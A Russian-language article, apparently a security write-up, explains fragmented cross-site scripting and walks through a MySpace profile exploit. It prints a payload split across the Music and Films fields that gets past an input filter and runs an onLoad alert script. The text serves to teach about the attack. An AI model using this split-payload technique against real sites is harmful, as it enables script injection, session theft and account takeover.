Введение
На простом уровне объяснение
фрагментированной атаки довольно просто -
несколько фрагментов, самих по себе
безопасных и способных пройти фильтры или
файрволы, при достижении цели собираются в
единое целое, которое уже несет в себе
угрозу. Фрагментированные атаки обычно
применяются на сетевом/сессионном уровне -
для обхода систем обнаружения вторжения и
файрволов, однако могут применяться и для
более простых нападений, например
межсайтового скриптинга, в документах
которые собираются из частей и
предоставляются пользователю.
XSS фрагментация
Такой тип атак довольно редок из-за того,
что требуется несколько полей ввода,
отображающихся на одной странице, при этом
для всех должен применяться один и тот же
фильтр, который бы пропускал безопасные
части скрипта. Другое требование -
достаточная глупость или кривость фильтра,
он не должен вырезать символы < и > и в то
же время допускать строки там, где их быть
не должно. Например <body onload="alert('XSS');">
может обрезаться, а body onload="alert('XSS');" уже
быть доступным для использования.
Глобальная идея фрагментации остается прежней - расположить сами по себе не опасные части скрипта в опасных местах. Простейшее такое
место - внутри другого тега.
MySpace 0day эксплоит
Свой пример фрагментированной XSS атаки я
разработал для сайта MySpace.
Для начала немного теории. В профиле
имеется несколько полей для описания
собственной персоны - интересы, любимые
фильмы и т.п. Возьмем секцию интересов,
Музыку и Фильмы. В реале получаемый код
выглядит так:
<tr id=MusicRow>
<td valign="top" align="left" width="100" bgcolor="#b1d0f0">
<span class="lightbluetext8">Music</span>
</td>
<td id="ProfileMusic" width="175" bgcolor="#d5e8fb" style="WORD-WRAP: break-word">Music Goes Here!</td>
</tr>
<script language="JavaScript">highlightInterests("ProfileMusic");</script>
<tr id=FilmsRow>
<td valign="top" align="left" width="100" bgcolor="#b1d0f0">
<span class="lightbluetext8">Films</span>
</td>
<td id="ProfileFilms" width="175" bgcolor="#d5e8fb" style="WORD-WRAP: break-word">Films Go Here!</td>
</tr>
Очевидно, что разделяет два
пользовательских поля лишь этот код:
</span>
</td>
<td id="ProfileMusic" width="175" bgcolor="#d5e8fb"
style="WORD-WRAP: break-word">Music Goes Here!</td>
</tr>
<script language="JavaScript">highlightInterests("ProfileMusic");
</script>
<tr id=FilmsRow>
<td valign="top" align="left" width="100"
bgcolor="#b1d0f0">
<span class="lightbluetext8">Films</span>
</td>
<td id="ProfileFilms" width="175" bgcolor="#d5e8fb"
style="WORD-WRAP: break-word">
Интересная его особенность заключается в
том, что в нем нет ни одной одинарной
кавычки, лишь стандартные двойные.
Конечно же мы можем сделать что-нибудь для
инкапсулирования этого текста:
<tr id=MusicRow>
<td valign="top" align="left" width="100" bgcolor="#b1d0f0">
<span class="lightbluetext8">Music</span>
</td>
<td id="ProfileMusic" width="175" bgcolor="#d5e8fb" style="WORD-WRAP:
break-word">
<body test='
</td>
</tr>
<script language="JavaScript">highlightInterests("ProfileMusic");
</script>
<tr id=FilmsRow><td valign="top" align="left" width="100" bgcolor="#b1d0f0">
<span class="lightbluetext8">Films</span>
</td>
<td id="ProfileFilms" width="175" bgcolor="#d5e8fb" style="WORD-WRAP:
break-word">
'>Films Go Here!
</td></tr>
Как вы видите, мы просто заключили этот
текст в параметр text тега body! Теперь мы можем
написать требуемый скрипт во втором
поле - на требуемой нам опасной позиции!
Следовательно, если мы сделаем параметр
Films таким:
' onLoad="alert('XSS');"></body>
то мы и получим реальную возможность
выполнить произвольный сценарий в
контексте уязвимого сайта.
Именно такая атака использовалась для
взлома MySpace. Я полагаю, что ее аналоги могут
работать на множестве других сайтов, где
пользовательский ввод делиться и
разрешаются теговые скобки.
